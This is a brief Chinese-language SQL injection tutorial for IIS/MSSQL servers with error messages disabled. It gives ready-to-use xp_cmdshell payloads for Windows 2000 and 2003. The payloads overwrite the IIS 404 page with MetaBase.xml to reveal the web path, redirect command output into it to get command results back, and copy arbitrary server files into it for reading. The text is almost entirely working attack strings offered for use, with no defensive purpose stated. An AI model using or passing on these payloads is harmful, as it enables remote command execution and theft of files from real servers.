虽然错误提示关闭也是可以列目录,执行命令,但是多少就有些不方便。阿D就可以在错误提示关闭的情况下列目录。
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
IIS,404页面的默认路径是 C:\Windows\Help\iisHelp\common\404b.htm
- 得到web路径
exec master..xp_cmdshell 'copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm'--
,这是20003,如果是2000的话,exec master..xp_cmdshell 'copy C:\Winnt\system32\inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm'--
,在MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就是MetaBase.xml的内容了。 - 执行命令得到回显
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。2003,exec master..xp_cmdshell 'ver >C:\Windows\Help\iisHelp\common\404b.htm'--
如果是2000,exec master..xp_cmdshell 'ver >C:\Winnt\Help\iisHelp\common\404b.htm'--
- 得到文件也是一样,把文件copy到404b.htm就行了